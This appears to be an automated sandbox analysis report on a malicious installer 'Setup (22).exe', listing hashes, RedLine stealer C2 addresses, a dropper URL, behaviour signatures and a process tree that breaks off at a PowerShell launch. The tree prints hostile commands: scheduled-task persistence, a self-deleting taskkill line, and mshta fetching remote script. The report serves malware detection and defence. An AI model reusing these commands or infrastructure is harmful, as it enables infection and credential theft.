Resubmissions

15/10/2024, 15:36

241015-s1zlzasdkc 10

01/07/2024, 18:32

240701-w6yteawhmq 10

01/07/2024, 14:52

240701-r82wmaxdnd 10

01/07/2024, 14:52

240701-r8syqa1dpp 10

11/03/2024, 21:22

240311-z8dsssgg58 10

01/09/2021, 13:18

210901-5bmxjspa5s 10

01/09/2021, 13:04

210901-te4btfspqa 10

01/09/2021, 05:12

210901-4wnkwm1p3j 10

31/08/2021, 21:47

210831-41rp97dma2 10

Analysis

  • max time kernel
    71s
  • max time network
    577s
  • platform
    windows7_x64
  • resource
    win7v20210410
  • submitted
    27/08/2021, 15:40

Errors

Reason
Remote task has failed: Machine shutdown

General

  • Target

    Setup (22).exe

  • Size

    631KB

  • MD5

    cb927513ff8ebff4dd52a47f7e42f934

  • SHA1

    0de47c02a8adc4940a6c18621b4e4a619641d029

  • SHA256

    fd5c970806fba1500cbb6af5328329aeb43b8de3f02d90ec5d8cd1d57711622f

  • SHA512

    988c8fd886a9155b7d190faf2ce6b34d910efcffcf1c6251f18a9d0c804a0ea26a89679273033ac98b200363c536426efd1ae9de445c34e660369abb06f0071c

Malware Config

Extracted

Language
ps1
Deobfuscated
URLs
exe.dropper

https://kmsauto.us/ALL.txt

Extracted

Family

redline

Botnet

dibild2

C2

135.148.139.222:1494

Extracted

Family

redline

Botnet

supertraff

C2

135.148.139.222:1494

Signatures

  • Modifies Windows Defender Real-time Protection settings 3 TTPs
  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • RedLine

    RedLine Stealer is a malware family written in C#, first appearing in early 2020.

  • RedLine Payload 27 IoCs
  • Tofsee

    Backdoor/botnet which carries out malicious activities based on commands from a C2 server.

  • Creates new service(s) 1 TTPs
  • Downloads MZ/PE file
  • Executes dropped EXE 4 IoCs
  • Modifies Windows Firewall 1 TTPs
  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Loads dropped DLL 15 IoCs
  • Themida packer 8 IoCs

    Detects Themida, an advanced Windows software protection system.

  • Legitimate hosting services abused for malware hosting/C2 1 TTPs
  • Looks up external IP address via web service 4 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

  • Launches sc.exe

    Sc.exe is a Windows utlilty to control services on the system.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Program crash 3 IoCs
  • Creates scheduled task(s) 1 TTPs 2 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

  • Delays execution with timeout.exe 1 IoCs
  • Kills process with taskkill 2 IoCs
  • Modifies system certificate store 2 TTPs 5 IoCs
  • Suspicious behavior: EnumeratesProcesses 1 IoCs
  • Suspicious use of WriteProcessMemory 46 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\Setup (22).exe
    "C:\Users\Admin\AppData\Local\Temp\Setup (22).exe"
    1⤵
    • Checks computer location settings
    • Loads dropped DLL
    • Modifies system certificate store
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of WriteProcessMemory
    PID:1100
    • C:\Users\Admin\Documents\pBVD1mizW1In6sSINWw3Qvju.exe
      "C:\Users\Admin\Documents\pBVD1mizW1In6sSINWw3Qvju.exe"
      2⤵
      • Executes dropped EXE
      PID:1632
    • C:\Users\Admin\Documents\gOqjIl6Dpedpi7GdO6TzBndx.exe
      "C:\Users\Admin\Documents\gOqjIl6Dpedpi7GdO6TzBndx.exe"
      2⤵
      • Executes dropped EXE
      PID:1552
      • C:\Users\Admin\Documents\gOqjIl6Dpedpi7GdO6TzBndx.exe
        "C:\Users\Admin\Documents\gOqjIl6Dpedpi7GdO6TzBndx.exe"
        3⤵
          PID:2148
      • C:\Users\Admin\Documents\mbhEEukiP_UrA7GI05R9ych3.exe
        "C:\Users\Admin\Documents\mbhEEukiP_UrA7GI05R9ych3.exe"
        2⤵
        • Executes dropped EXE
        PID:1716
        • C:\Users\Admin\AppData\Local\Temp\RarSFX0\Ou3tPfureT.exe
          "C:\Users\Admin\AppData\Local\Temp\RarSFX0\Ou3tPfureT.exe"
          3⤵
            PID:1000
            • C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe
              "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe"
              4⤵
                PID:2692
              • C:\Windows\SysWOW64\WerFault.exe
                C:\Windows\SysWOW64\WerFault.exe -u -p 1000 -s 92
                4⤵
                • Program crash
                PID:2224
          • C:\Users\Admin\Documents\o0KfgPtgpxYrXrYMy2LIrYw9.exe
            "C:\Users\Admin\Documents\o0KfgPtgpxYrXrYMy2LIrYw9.exe"
            2⤵
            • Executes dropped EXE
            PID:1620
            • C:\Windows\SysWOW64\cmd.exe
              "C:\Windows\System32\cmd.exe" /c taskkill /im "o0KfgPtgpxYrXrYMy2LIrYw9.exe" /f & erase "C:\Users\Admin\Documents\o0KfgPtgpxYrXrYMy2LIrYw9.exe" & exit
              3⤵
                PID:2620
                • C:\Windows\SysWOW64\taskkill.exe
                  taskkill /im "o0KfgPtgpxYrXrYMy2LIrYw9.exe" /f
                  4⤵
                  • Kills process with taskkill
                  PID:2868
            • C:\Users\Admin\Documents\TDe4MC8sSAiIxr67v8bJLvfG.exe
              "C:\Users\Admin\Documents\TDe4MC8sSAiIxr67v8bJLvfG.exe"
              2⤵
                PID:1728
                • C:\Windows\SysWOW64\WerFault.exe
                  C:\Windows\SysWOW64\WerFault.exe -u -p 1728 -s 876
                  3⤵
                  • Program crash
                  PID:624
              • C:\Users\Admin\Documents\B7XsfrCgGskHjfOWPDuwxrhr.exe
                "C:\Users\Admin\Documents\B7XsfrCgGskHjfOWPDuwxrhr.exe"
                2⤵
                  PID:1524
                  • C:\Users\Admin\Documents\B7XsfrCgGskHjfOWPDuwxrhr.exe
                    "C:\Users\Admin\Documents\B7XsfrCgGskHjfOWPDuwxrhr.exe"
                    3⤵
                      PID:2912
                  • C:\Users\Admin\Documents\wyZyUk8jNfJL6WdQXqH6G4rI.exe
                    "C:\Users\Admin\Documents\wyZyUk8jNfJL6WdQXqH6G4rI.exe"
                    2⤵
                      PID:1932
                      • C:\Users\Admin\Documents\wyZyUk8jNfJL6WdQXqH6G4rI.exe
                        "C:\Users\Admin\Documents\wyZyUk8jNfJL6WdQXqH6G4rI.exe"
                        3⤵
                          PID:2844
                        • C:\Users\Admin\Documents\wyZyUk8jNfJL6WdQXqH6G4rI.exe
                          "C:\Users\Admin\Documents\wyZyUk8jNfJL6WdQXqH6G4rI.exe"
                          3⤵
                            PID:3048
                          • C:\Users\Admin\Documents\wyZyUk8jNfJL6WdQXqH6G4rI.exe
                            "C:\Users\Admin\Documents\wyZyUk8jNfJL6WdQXqH6G4rI.exe"
                            3⤵
                              PID:1468
                          • C:\Users\Admin\Documents\dmDOxcewXSdZ3vFj4favq_5P.exe
                            "C:\Users\Admin\Documents\dmDOxcewXSdZ3vFj4favq_5P.exe"
                            2⤵
                              PID:764
                            • C:\Users\Admin\Documents\ZN03h586kRVTSEMiGfIeh2DP.exe
                              "C:\Users\Admin\Documents\ZN03h586kRVTSEMiGfIeh2DP.exe"
                              2⤵
                                PID:2020
                              • C:\Users\Admin\Documents\ErRbAgYahpoeJL5DHlqEZtBa.exe
                                "C:\Users\Admin\Documents\ErRbAgYahpoeJL5DHlqEZtBa.exe"
                                2⤵
                                  PID:956
                                  • C:\Users\Admin\Documents\ErRbAgYahpoeJL5DHlqEZtBa.exe
                                    C:\Users\Admin\Documents\ErRbAgYahpoeJL5DHlqEZtBa.exe
                                    3⤵
                                      PID:2696
                                    • C:\Users\Admin\Documents\ErRbAgYahpoeJL5DHlqEZtBa.exe
                                      C:\Users\Admin\Documents\ErRbAgYahpoeJL5DHlqEZtBa.exe
                                      3⤵
                                        PID:2732
                                      • C:\Users\Admin\Documents\ErRbAgYahpoeJL5DHlqEZtBa.exe
                                        C:\Users\Admin\Documents\ErRbAgYahpoeJL5DHlqEZtBa.exe
                                        3⤵
                                          PID:2856
                                        • C:\Users\Admin\Documents\ErRbAgYahpoeJL5DHlqEZtBa.exe
                                          C:\Users\Admin\Documents\ErRbAgYahpoeJL5DHlqEZtBa.exe
                                          3⤵
                                            PID:2992
                                          • C:\Users\Admin\Documents\ErRbAgYahpoeJL5DHlqEZtBa.exe
                                            C:\Users\Admin\Documents\ErRbAgYahpoeJL5DHlqEZtBa.exe
                                            3⤵
                                              PID:576
                                            • C:\Users\Admin\Documents\ErRbAgYahpoeJL5DHlqEZtBa.exe
                                              C:\Users\Admin\Documents\ErRbAgYahpoeJL5DHlqEZtBa.exe
                                              3⤵
                                                PID:2060
                                              • C:\Users\Admin\Documents\ErRbAgYahpoeJL5DHlqEZtBa.exe
                                                C:\Users\Admin\Documents\ErRbAgYahpoeJL5DHlqEZtBa.exe
                                                3⤵
                                                  PID:2276
                                                • C:\Users\Admin\Documents\ErRbAgYahpoeJL5DHlqEZtBa.exe
                                                  C:\Users\Admin\Documents\ErRbAgYahpoeJL5DHlqEZtBa.exe
                                                  3⤵
                                                    PID:672
                                                  • C:\Users\Admin\Documents\ErRbAgYahpoeJL5DHlqEZtBa.exe
                                                    C:\Users\Admin\Documents\ErRbAgYahpoeJL5DHlqEZtBa.exe
                                                    3⤵
                                                      PID:2836
                                                    • C:\Users\Admin\Documents\ErRbAgYahpoeJL5DHlqEZtBa.exe
                                                      C:\Users\Admin\Documents\ErRbAgYahpoeJL5DHlqEZtBa.exe
                                                      3⤵
                                                        PID:2756
                                                      • C:\Users\Admin\Documents\ErRbAgYahpoeJL5DHlqEZtBa.exe
                                                        C:\Users\Admin\Documents\ErRbAgYahpoeJL5DHlqEZtBa.exe
                                                        3⤵
                                                          PID:2276
                                                        • C:\Users\Admin\Documents\ErRbAgYahpoeJL5DHlqEZtBa.exe
                                                          C:\Users\Admin\Documents\ErRbAgYahpoeJL5DHlqEZtBa.exe
                                                          3⤵
                                                            PID:2848
                                                          • C:\Users\Admin\Documents\ErRbAgYahpoeJL5DHlqEZtBa.exe
                                                            C:\Users\Admin\Documents\ErRbAgYahpoeJL5DHlqEZtBa.exe
                                                            3⤵
                                                              PID:1524
                                                            • C:\Users\Admin\Documents\ErRbAgYahpoeJL5DHlqEZtBa.exe
                                                              C:\Users\Admin\Documents\ErRbAgYahpoeJL5DHlqEZtBa.exe
                                                              3⤵
                                                                PID:2872
                                                              • C:\Users\Admin\Documents\ErRbAgYahpoeJL5DHlqEZtBa.exe
                                                                C:\Users\Admin\Documents\ErRbAgYahpoeJL5DHlqEZtBa.exe
                                                                3⤵
                                                                  PID:992
                                                                • C:\Users\Admin\Documents\ErRbAgYahpoeJL5DHlqEZtBa.exe
                                                                  C:\Users\Admin\Documents\ErRbAgYahpoeJL5DHlqEZtBa.exe
                                                                  3⤵
                                                                    PID:2840
                                                                  • C:\Users\Admin\Documents\ErRbAgYahpoeJL5DHlqEZtBa.exe
                                                                    C:\Users\Admin\Documents\ErRbAgYahpoeJL5DHlqEZtBa.exe
                                                                    3⤵
                                                                      PID:2852
                                                                    • C:\Users\Admin\Documents\ErRbAgYahpoeJL5DHlqEZtBa.exe
                                                                      C:\Users\Admin\Documents\ErRbAgYahpoeJL5DHlqEZtBa.exe
                                                                      3⤵
                                                                        PID:3156
                                                                      • C:\Users\Admin\Documents\ErRbAgYahpoeJL5DHlqEZtBa.exe
                                                                        C:\Users\Admin\Documents\ErRbAgYahpoeJL5DHlqEZtBa.exe
                                                                        3⤵
                                                                          PID:3292
                                                                        • C:\Users\Admin\Documents\ErRbAgYahpoeJL5DHlqEZtBa.exe
                                                                          C:\Users\Admin\Documents\ErRbAgYahpoeJL5DHlqEZtBa.exe
                                                                          3⤵
                                                                            PID:3356
                                                                          • C:\Users\Admin\Documents\ErRbAgYahpoeJL5DHlqEZtBa.exe
                                                                            C:\Users\Admin\Documents\ErRbAgYahpoeJL5DHlqEZtBa.exe
                                                                            3⤵
                                                                              PID:3396
                                                                            • C:\Users\Admin\Documents\ErRbAgYahpoeJL5DHlqEZtBa.exe
                                                                              C:\Users\Admin\Documents\ErRbAgYahpoeJL5DHlqEZtBa.exe
                                                                              3⤵
                                                                                PID:3444
                                                                              • C:\Users\Admin\Documents\ErRbAgYahpoeJL5DHlqEZtBa.exe
                                                                                C:\Users\Admin\Documents\ErRbAgYahpoeJL5DHlqEZtBa.exe
                                                                                3⤵
                                                                                  PID:3584
                                                                                • C:\Users\Admin\Documents\ErRbAgYahpoeJL5DHlqEZtBa.exe
                                                                                  C:\Users\Admin\Documents\ErRbAgYahpoeJL5DHlqEZtBa.exe
                                                                                  3⤵
                                                                                    PID:3652
                                                                                  • C:\Users\Admin\Documents\ErRbAgYahpoeJL5DHlqEZtBa.exe
                                                                                    C:\Users\Admin\Documents\ErRbAgYahpoeJL5DHlqEZtBa.exe
                                                                                    3⤵
                                                                                      PID:3712
                                                                                    • C:\Users\Admin\Documents\ErRbAgYahpoeJL5DHlqEZtBa.exe
                                                                                      C:\Users\Admin\Documents\ErRbAgYahpoeJL5DHlqEZtBa.exe
                                                                                      3⤵
                                                                                        PID:3768
                                                                                      • C:\Users\Admin\Documents\ErRbAgYahpoeJL5DHlqEZtBa.exe
                                                                                        C:\Users\Admin\Documents\ErRbAgYahpoeJL5DHlqEZtBa.exe
                                                                                        3⤵
                                                                                          PID:3856
                                                                                        • C:\Users\Admin\Documents\ErRbAgYahpoeJL5DHlqEZtBa.exe
                                                                                          C:\Users\Admin\Documents\ErRbAgYahpoeJL5DHlqEZtBa.exe
                                                                                          3⤵
                                                                                            PID:3968
                                                                                          • C:\Users\Admin\Documents\ErRbAgYahpoeJL5DHlqEZtBa.exe
                                                                                            C:\Users\Admin\Documents\ErRbAgYahpoeJL5DHlqEZtBa.exe
                                                                                            3⤵
                                                                                              PID:4048
                                                                                            • C:\Users\Admin\Documents\ErRbAgYahpoeJL5DHlqEZtBa.exe
                                                                                              C:\Users\Admin\Documents\ErRbAgYahpoeJL5DHlqEZtBa.exe
                                                                                              3⤵
                                                                                                PID:4068
                                                                                              • C:\Users\Admin\Documents\ErRbAgYahpoeJL5DHlqEZtBa.exe
                                                                                                C:\Users\Admin\Documents\ErRbAgYahpoeJL5DHlqEZtBa.exe
                                                                                                3⤵
                                                                                                  PID:3112
                                                                                                • C:\Users\Admin\Documents\ErRbAgYahpoeJL5DHlqEZtBa.exe
                                                                                                  C:\Users\Admin\Documents\ErRbAgYahpoeJL5DHlqEZtBa.exe
                                                                                                  3⤵
                                                                                                    PID:3284
                                                                                                  • C:\Users\Admin\Documents\ErRbAgYahpoeJL5DHlqEZtBa.exe
                                                                                                    C:\Users\Admin\Documents\ErRbAgYahpoeJL5DHlqEZtBa.exe
                                                                                                    3⤵
                                                                                                      PID:2964
                                                                                                    • C:\Users\Admin\Documents\ErRbAgYahpoeJL5DHlqEZtBa.exe
                                                                                                      C:\Users\Admin\Documents\ErRbAgYahpoeJL5DHlqEZtBa.exe
                                                                                                      3⤵
                                                                                                        PID:2308
                                                                                                      • C:\Users\Admin\Documents\ErRbAgYahpoeJL5DHlqEZtBa.exe
                                                                                                        C:\Users\Admin\Documents\ErRbAgYahpoeJL5DHlqEZtBa.exe
                                                                                                        3⤵
                                                                                                          PID:3852
                                                                                                        • C:\Users\Admin\Documents\ErRbAgYahpoeJL5DHlqEZtBa.exe
                                                                                                          C:\Users\Admin\Documents\ErRbAgYahpoeJL5DHlqEZtBa.exe
                                                                                                          3⤵
                                                                                                            PID:2008
                                                                                                          • C:\Users\Admin\Documents\ErRbAgYahpoeJL5DHlqEZtBa.exe
                                                                                                            C:\Users\Admin\Documents\ErRbAgYahpoeJL5DHlqEZtBa.exe
                                                                                                            3⤵
                                                                                                              PID:2684
                                                                                                            • C:\Users\Admin\Documents\ErRbAgYahpoeJL5DHlqEZtBa.exe
                                                                                                              C:\Users\Admin\Documents\ErRbAgYahpoeJL5DHlqEZtBa.exe
                                                                                                              3⤵
                                                                                                                PID:3052
                                                                                                              • C:\Users\Admin\Documents\ErRbAgYahpoeJL5DHlqEZtBa.exe
                                                                                                                C:\Users\Admin\Documents\ErRbAgYahpoeJL5DHlqEZtBa.exe
                                                                                                                3⤵
                                                                                                                  PID:3068
                                                                                                                • C:\Users\Admin\Documents\ErRbAgYahpoeJL5DHlqEZtBa.exe
                                                                                                                  C:\Users\Admin\Documents\ErRbAgYahpoeJL5DHlqEZtBa.exe
                                                                                                                  3⤵
                                                                                                                    PID:3252
                                                                                                                  • C:\Users\Admin\Documents\ErRbAgYahpoeJL5DHlqEZtBa.exe
                                                                                                                    C:\Users\Admin\Documents\ErRbAgYahpoeJL5DHlqEZtBa.exe
                                                                                                                    3⤵
                                                                                                                      PID:3208
                                                                                                                    • C:\Users\Admin\Documents\ErRbAgYahpoeJL5DHlqEZtBa.exe
                                                                                                                      C:\Users\Admin\Documents\ErRbAgYahpoeJL5DHlqEZtBa.exe
                                                                                                                      3⤵
                                                                                                                        PID:2360
                                                                                                                      • C:\Users\Admin\Documents\ErRbAgYahpoeJL5DHlqEZtBa.exe
                                                                                                                        C:\Users\Admin\Documents\ErRbAgYahpoeJL5DHlqEZtBa.exe
                                                                                                                        3⤵
                                                                                                                          PID:2960
                                                                                                                        • C:\Users\Admin\Documents\ErRbAgYahpoeJL5DHlqEZtBa.exe
                                                                                                                          C:\Users\Admin\Documents\ErRbAgYahpoeJL5DHlqEZtBa.exe
                                                                                                                          3⤵
                                                                                                                            PID:2956
                                                                                                                          • C:\Users\Admin\Documents\ErRbAgYahpoeJL5DHlqEZtBa.exe
                                                                                                                            C:\Users\Admin\Documents\ErRbAgYahpoeJL5DHlqEZtBa.exe
                                                                                                                            3⤵
                                                                                                                              PID:3004
                                                                                                                            • C:\Users\Admin\Documents\ErRbAgYahpoeJL5DHlqEZtBa.exe
                                                                                                                              C:\Users\Admin\Documents\ErRbAgYahpoeJL5DHlqEZtBa.exe
                                                                                                                              3⤵
                                                                                                                                PID:3764
                                                                                                                              • C:\Users\Admin\Documents\ErRbAgYahpoeJL5DHlqEZtBa.exe
                                                                                                                                C:\Users\Admin\Documents\ErRbAgYahpoeJL5DHlqEZtBa.exe
                                                                                                                                3⤵
                                                                                                                                  PID:3528
                                                                                                                                • C:\Users\Admin\Documents\ErRbAgYahpoeJL5DHlqEZtBa.exe
                                                                                                                                  C:\Users\Admin\Documents\ErRbAgYahpoeJL5DHlqEZtBa.exe
                                                                                                                                  3⤵
                                                                                                                                    PID:4220
                                                                                                                                  • C:\Users\Admin\Documents\ErRbAgYahpoeJL5DHlqEZtBa.exe
                                                                                                                                    C:\Users\Admin\Documents\ErRbAgYahpoeJL5DHlqEZtBa.exe
                                                                                                                                    3⤵
                                                                                                                                      PID:4372
                                                                                                                                    • C:\Users\Admin\Documents\ErRbAgYahpoeJL5DHlqEZtBa.exe
                                                                                                                                      C:\Users\Admin\Documents\ErRbAgYahpoeJL5DHlqEZtBa.exe
                                                                                                                                      3⤵
                                                                                                                                        PID:4572
                                                                                                                                      • C:\Users\Admin\Documents\ErRbAgYahpoeJL5DHlqEZtBa.exe
                                                                                                                                        C:\Users\Admin\Documents\ErRbAgYahpoeJL5DHlqEZtBa.exe
                                                                                                                                        3⤵
                                                                                                                                          PID:4164
                                                                                                                                        • C:\Users\Admin\Documents\ErRbAgYahpoeJL5DHlqEZtBa.exe
                                                                                                                                          C:\Users\Admin\Documents\ErRbAgYahpoeJL5DHlqEZtBa.exe
                                                                                                                                          3⤵
                                                                                                                                            PID:4108
                                                                                                                                          • C:\Users\Admin\Documents\ErRbAgYahpoeJL5DHlqEZtBa.exe
                                                                                                                                            C:\Users\Admin\Documents\ErRbAgYahpoeJL5DHlqEZtBa.exe
                                                                                                                                            3⤵
                                                                                                                                              PID:4248
                                                                                                                                            • C:\Users\Admin\Documents\ErRbAgYahpoeJL5DHlqEZtBa.exe
                                                                                                                                              C:\Users\Admin\Documents\ErRbAgYahpoeJL5DHlqEZtBa.exe
                                                                                                                                              3⤵
                                                                                                                                                PID:4236
                                                                                                                                              • C:\Users\Admin\Documents\ErRbAgYahpoeJL5DHlqEZtBa.exe
                                                                                                                                                C:\Users\Admin\Documents\ErRbAgYahpoeJL5DHlqEZtBa.exe
                                                                                                                                                3⤵
                                                                                                                                                  PID:4448
                                                                                                                                                • C:\Users\Admin\Documents\ErRbAgYahpoeJL5DHlqEZtBa.exe
                                                                                                                                                  C:\Users\Admin\Documents\ErRbAgYahpoeJL5DHlqEZtBa.exe
                                                                                                                                                  3⤵
                                                                                                                                                    PID:1628
                                                                                                                                                  • C:\Users\Admin\Documents\ErRbAgYahpoeJL5DHlqEZtBa.exe
                                                                                                                                                    C:\Users\Admin\Documents\ErRbAgYahpoeJL5DHlqEZtBa.exe
                                                                                                                                                    3⤵
                                                                                                                                                      PID:4468
                                                                                                                                                    • C:\Users\Admin\Documents\ErRbAgYahpoeJL5DHlqEZtBa.exe
                                                                                                                                                      C:\Users\Admin\Documents\ErRbAgYahpoeJL5DHlqEZtBa.exe
                                                                                                                                                      3⤵
                                                                                                                                                        PID:4836
                                                                                                                                                      • C:\Users\Admin\Documents\ErRbAgYahpoeJL5DHlqEZtBa.exe
                                                                                                                                                        C:\Users\Admin\Documents\ErRbAgYahpoeJL5DHlqEZtBa.exe
                                                                                                                                                        3⤵
                                                                                                                                                          PID:3560
                                                                                                                                                        • C:\Users\Admin\Documents\ErRbAgYahpoeJL5DHlqEZtBa.exe
                                                                                                                                                          C:\Users\Admin\Documents\ErRbAgYahpoeJL5DHlqEZtBa.exe
                                                                                                                                                          3⤵
                                                                                                                                                            PID:3760
                                                                                                                                                          • C:\Users\Admin\Documents\ErRbAgYahpoeJL5DHlqEZtBa.exe
                                                                                                                                                            C:\Users\Admin\Documents\ErRbAgYahpoeJL5DHlqEZtBa.exe
                                                                                                                                                            3⤵
                                                                                                                                                              PID:4628
                                                                                                                                                          • C:\Users\Admin\Documents\8cX5okk1NLmZtdXo03615E6K.exe
                                                                                                                                                            "C:\Users\Admin\Documents\8cX5okk1NLmZtdXo03615E6K.exe"
                                                                                                                                                            2⤵
                                                                                                                                                              PID:1344
                                                                                                                                                              • C:\Windows\SysWOW64\schtasks.exe
                                                                                                                                                                schtasks /create /f /RU "Admin" /tr "C:\Program Files (x86)\PowerControl\PowerControl_Svc.exe" /tn "PowerControl HR" /sc HOURLY /rl HIGHEST
                                                                                                                                                                3⤵
                                                                                                                                                                • Creates scheduled task(s)
                                                                                                                                                                PID:2652
                                                                                                                                                              • C:\Windows\SysWOW64\schtasks.exe
                                                                                                                                                                schtasks /create /f /RU "Admin" /tr "C:\Program Files (x86)\PowerControl\PowerControl_Svc.exe" /tn "PowerControl LG" /sc ONLOGON /rl HIGHEST
                                                                                                                                                                3⤵
                                                                                                                                                                • Creates scheduled task(s)
                                                                                                                                                                PID:2176
                                                                                                                                                            • C:\Users\Admin\Documents\DA7UYliWUCQjfihW0xT6nybd.exe
                                                                                                                                                              "C:\Users\Admin\Documents\DA7UYliWUCQjfihW0xT6nybd.exe"
                                                                                                                                                              2⤵
                                                                                                                                                                PID:1316
                                                                                                                                                              • C:\Users\Admin\Documents\XdBtUemVgZXIUjzlPbdvbddv.exe
                                                                                                                                                                "C:\Users\Admin\Documents\XdBtUemVgZXIUjzlPbdvbddv.exe"
                                                                                                                                                                2⤵
                                                                                                                                                                  PID:788
                                                                                                                                                                • C:\Users\Admin\Documents\xzwzluHcN1m0HLHnYUMr0bsb.exe
                                                                                                                                                                  "C:\Users\Admin\Documents\xzwzluHcN1m0HLHnYUMr0bsb.exe"
                                                                                                                                                                  2⤵
                                                                                                                                                                    PID:1480
                                                                                                                                                                  • C:\Users\Admin\Documents\po5wip2c2Meqm9YoJLgPyuSa.exe
                                                                                                                                                                    "C:\Users\Admin\Documents\po5wip2c2Meqm9YoJLgPyuSa.exe"
                                                                                                                                                                    2⤵
                                                                                                                                                                      PID:632
                                                                                                                                                                    • C:\Users\Admin\Documents\ZAitB7XDFmK9fnow_WIru5XD.exe
                                                                                                                                                                      "C:\Users\Admin\Documents\ZAitB7XDFmK9fnow_WIru5XD.exe"
                                                                                                                                                                      2⤵
                                                                                                                                                                        PID:1692
                                                                                                                                                                      • C:\Users\Admin\Documents\vG6WKIA4_3V1Gixf8Dq6FfZe.exe
                                                                                                                                                                        "C:\Users\Admin\Documents\vG6WKIA4_3V1Gixf8Dq6FfZe.exe"
                                                                                                                                                                        2⤵
                                                                                                                                                                          PID:924
                                                                                                                                                                          • C:\Users\Admin\Documents\vG6WKIA4_3V1Gixf8Dq6FfZe.exe
                                                                                                                                                                            C:\Users\Admin\Documents\vG6WKIA4_3V1Gixf8Dq6FfZe.exe
                                                                                                                                                                            3⤵
                                                                                                                                                                              PID:2688
                                                                                                                                                                            • C:\Users\Admin\Documents\vG6WKIA4_3V1Gixf8Dq6FfZe.exe
                                                                                                                                                                              C:\Users\Admin\Documents\vG6WKIA4_3V1Gixf8Dq6FfZe.exe
                                                                                                                                                                              3⤵
                                                                                                                                                                                PID:2724
                                                                                                                                                                              • C:\Users\Admin\Documents\vG6WKIA4_3V1Gixf8Dq6FfZe.exe
                                                                                                                                                                                C:\Users\Admin\Documents\vG6WKIA4_3V1Gixf8Dq6FfZe.exe
                                                                                                                                                                                3⤵
                                                                                                                                                                                  PID:2836
                                                                                                                                                                                • C:\Users\Admin\Documents\vG6WKIA4_3V1Gixf8Dq6FfZe.exe
                                                                                                                                                                                  C:\Users\Admin\Documents\vG6WKIA4_3V1Gixf8Dq6FfZe.exe
                                                                                                                                                                                  3⤵
                                                                                                                                                                                    PID:2904
                                                                                                                                                                                  • C:\Users\Admin\Documents\vG6WKIA4_3V1Gixf8Dq6FfZe.exe
                                                                                                                                                                                    C:\Users\Admin\Documents\vG6WKIA4_3V1Gixf8Dq6FfZe.exe
                                                                                                                                                                                    3⤵
                                                                                                                                                                                      PID:1064
                                                                                                                                                                                    • C:\Users\Admin\Documents\vG6WKIA4_3V1Gixf8Dq6FfZe.exe
                                                                                                                                                                                      C:\Users\Admin\Documents\vG6WKIA4_3V1Gixf8Dq6FfZe.exe
                                                                                                                                                                                      3⤵
                                                                                                                                                                                        PID:1924
                                                                                                                                                                                      • C:\Users\Admin\Documents\vG6WKIA4_3V1Gixf8Dq6FfZe.exe
                                                                                                                                                                                        C:\Users\Admin\Documents\vG6WKIA4_3V1Gixf8Dq6FfZe.exe
                                                                                                                                                                                        3⤵
                                                                                                                                                                                          PID:2100
                                                                                                                                                                                        • C:\Users\Admin\Documents\vG6WKIA4_3V1Gixf8Dq6FfZe.exe
                                                                                                                                                                                          C:\Users\Admin\Documents\vG6WKIA4_3V1Gixf8Dq6FfZe.exe
                                                                                                                                                                                          3⤵
                                                                                                                                                                                            PID:1332
                                                                                                                                                                                          • C:\Users\Admin\Documents\vG6WKIA4_3V1Gixf8Dq6FfZe.exe
                                                                                                                                                                                            C:\Users\Admin\Documents\vG6WKIA4_3V1Gixf8Dq6FfZe.exe
                                                                                                                                                                                            3⤵
                                                                                                                                                                                              PID:2484
                                                                                                                                                                                            • C:\Users\Admin\Documents\vG6WKIA4_3V1Gixf8Dq6FfZe.exe
                                                                                                                                                                                              C:\Users\Admin\Documents\vG6WKIA4_3V1Gixf8Dq6FfZe.exe
                                                                                                                                                                                              3⤵
                                                                                                                                                                                                PID:240
                                                                                                                                                                                              • C:\Users\Admin\Documents\vG6WKIA4_3V1Gixf8Dq6FfZe.exe
                                                                                                                                                                                                C:\Users\Admin\Documents\vG6WKIA4_3V1Gixf8Dq6FfZe.exe
                                                                                                                                                                                                3⤵
                                                                                                                                                                                                  PID:604
                                                                                                                                                                                              • C:\Users\Admin\Documents\1ODxknLzYsK6Ie5b8QMo4sKE.exe
                                                                                                                                                                                                "C:\Users\Admin\Documents\1ODxknLzYsK6Ie5b8QMo4sKE.exe"
                                                                                                                                                                                                2⤵
                                                                                                                                                                                                  PID:1996
                                                                                                                                                                                                  • C:\Users\Admin\AppData\Local\Temp\zFvWA2eT.com
                                                                                                                                                                                                    "C:\Users\Admin\AppData\Local\Temp\zFvWA2eT.com"
                                                                                                                                                                                                    3⤵
                                                                                                                                                                                                      PID:1452
                                                                                                                                                                                                      • C:\Windows\system32\cmd.exe
                                                                                                                                                                                                        "C:\Windows\sysnative\cmd" /c "C:\Users\Admin\AppData\Local\Temp\DBED.tmp\DBEE.tmp\DBEF.bat C:\Users\Admin\AppData\Local\Temp\zFvWA2eT.com"
                                                                                                                                                                                                        4⤵
                                                                                                                                                                                                          PID:3164
                                                                                                                                                                                                      • C:\Users\Admin\AppData\Local\Temp\R9iwJtgI.com
                                                                                                                                                                                                        "C:\Users\Admin\AppData\Local\Temp\R9iwJtgI.com"
                                                                                                                                                                                                        3⤵
                                                                                                                                                                                                          PID:1772
                                                                                                                                                                                                        • C:\Users\Admin\AppData\Local\Temp\LTYPi8WD.com
                                                                                                                                                                                                          "C:\Users\Admin\AppData\Local\Temp\LTYPi8WD.com"
                                                                                                                                                                                                          3⤵
                                                                                                                                                                                                            PID:1624
                                                                                                                                                                                                            • C:\Windows\System32\mshta.exe
                                                                                                                                                                                                              "C:\Windows\System32\mshta.exe" https://kmsauto.us/Encoding.txt
                                                                                                                                                                                                              4⤵
                                                                                                                                                                                                                PID:4676
                                                                                                                                                                                                                • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
